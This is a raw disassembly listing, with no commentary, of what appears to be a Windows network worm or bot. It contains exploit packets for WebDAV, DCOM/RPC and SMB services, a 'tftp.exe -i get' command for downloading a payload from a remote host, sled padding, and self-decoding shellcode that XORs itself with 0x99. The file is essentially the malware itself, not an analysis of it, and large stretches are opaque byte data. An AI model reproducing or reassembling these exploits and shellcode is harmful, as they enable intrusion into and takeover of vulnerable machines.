loc_43024C:				; CODE XREF: .text:loc_430248j
		call	loc_43024A


loc_430251:				; CODE XREF: .text:loc_43024Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_430255	db 0FFh			; DATA XREF: sub_411F71+A1w
		dw 7380h
		db 0Ch
byte_430259	db 0FFh			; DATA XREF: sub_411F71+A7w
		dw 0E243h
		dd 0F9h
dword_430260	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_411E5E+72o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4302C4	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_411E5E+96o
aJ_1		db 'j',0
		db 0E8h
dword_4302DD	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4302E4
		retn
; ---------------------------------------------------------------------------
byte_4302E4	db 0E8h			; CODE XREF: .text:004302E1j
dword_4302E5	dd 1		byte_4302E9	db 0, 6Ah, 0		; DATA XREF: sub_411E5E+ECo
		dd 7E8h
		db 0, 0Fh, 84h
dword_4302F3	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 8


loc_430328:				; DATA XREF: sub_413C0C:loc_413D25o
		mov	edi, ecx
		xor	al, al
		inc	al
		repne scasb
		jmp	edi
; ---------------------------------------------------------------------------
		align 8
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_413C0C+18Bo
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
dword_4303C0	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; .text:00414735o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_430410	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_4142AE+12Co
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_430774	dd 20h,	0			dd 20h,	5C005Ch, 0
off_430788	dd offset off_43005C	; DATA XREF: sub_4142AE+177o
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 8
dword_4307C8	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_4142AE+4Ao
					; sub_4142AE+90o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4308D8	dd 10016C6h	dword_4308DC	dd 100139Dh						; sub_4142AE+115r
; ---------------------------------------------------------------------------


loc_4308E0:				; DATA XREF: .text:004148FEo
		call	$+5
		pop	eax
		xor	ax, ax


loc_4308E9:				; CODE XREF: .text:004308F0j
					; .text:004308F9j
		inc	eax
		cmp	dword ptr [eax], 6D6F6364h
		jnz	short loc_4308E9
		cmp	dword ptr [eax+4], 72307868h
		jnz	short loc_4308E9
		add	eax, 8
		jmp	eax
; ---------------------------------------------------------------------------
aRrrrrrrrrrrr_0	db ''
		db ''
		db ''
		db '',0
		align 8
dword_430A08	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset off_43005C
a123456111111_0:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0)
a127_0_0_1Ipc:
		unicode	0, <127.0.0.1\IPC$\>
; ---------------------------------------------------------------------------
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_430E6C:				; CODE XREF: .text:00431074j
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_43103F:				; CODE XREF: .text:004310A7j
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		jmp	loc_430E6C
; ---------------------------------------------------------------------------
		db 3 dup(45h)
; ---------------------------------------------------------------------------
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_43109D:				; CODE XREF: .text:004310ABj
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		add	[esp+edx+54h], cl
		jl	short loc_43103F
		mov	ah, 0A1h
		ja	short loc_43109D
		mov	eax, ds:0AFA977EDh
		mov	eax, ds:41414177h
		inc	ecx
; ---------------------------------------------------------------------------
		dd 77FCC662h
off_4310BC	dd offset dword_480D58	; DATA XREF: sub_414D71+73r
					; .text:00414F16r ...
; ---------------------------------------------------------------------------
		jmp	short loc_4310D2

; =============== S U B	R O U T	I N E =======================================



sub_4310C2	proc far		; CODE XREF: sub_4310C2:loc_4310D2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4310CA:				; CODE XREF: sub_4310C2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4310CA
		jmp	short loc_4310D7
; ---------------------------------------------------------------------------


loc_4310D2:				; CODE XREF: .text:004310C0j
		call	near ptr sub_4310C2


loc_4310D7:				; CODE XREF: sub_4310C2+Ej
		jo	short loc_43113B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_431159
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_43113B:				; CODE XREF: sub_4310C2:loc_4310D7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_431159:				; CODE XREF: sub_4310C2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4310C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_431200:				; DATA XREF: sub_415242+112o
					; sub_415242+1D9o
		jmp	short loc_431212

; =============== S U B	R O U T	I N E =======================================



sub_431202	proc near		; CODE XREF: sub_431202:loc_431212p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_43120A:				; CODE XREF: sub_431202+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43120A
		jmp	short loc_431217
; ---------------------------------------------------------------------------


loc_431212:				; CODE XREF: .text:loc_431200j
		call	sub_431202


loc_431217:				; CODE XREF: sub_431202+Ej
		jo	short near ptr dword_431190+1Eh
		cwde
		cdq
		cdq
		retn
sub_431202	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_4312B0	dw 4B9Dh		; DATA XREF: sub_415242+E5w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_431398	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:004156C0o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_431428	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004156ECo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_4314D8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415714o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4315B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_415242+53o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_4:					; DATA XREF: sub_415242+90o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 10h
dword_431620	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_415242+28Bo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_431690	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_415242+2B2o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_431738	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_415242+383o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4317B8	dd offset loc_401494+1	; DATA XREF: sub_415242+3A6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_431850	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_415242+2E2o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_4318C0	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_415242+307o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_431938	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
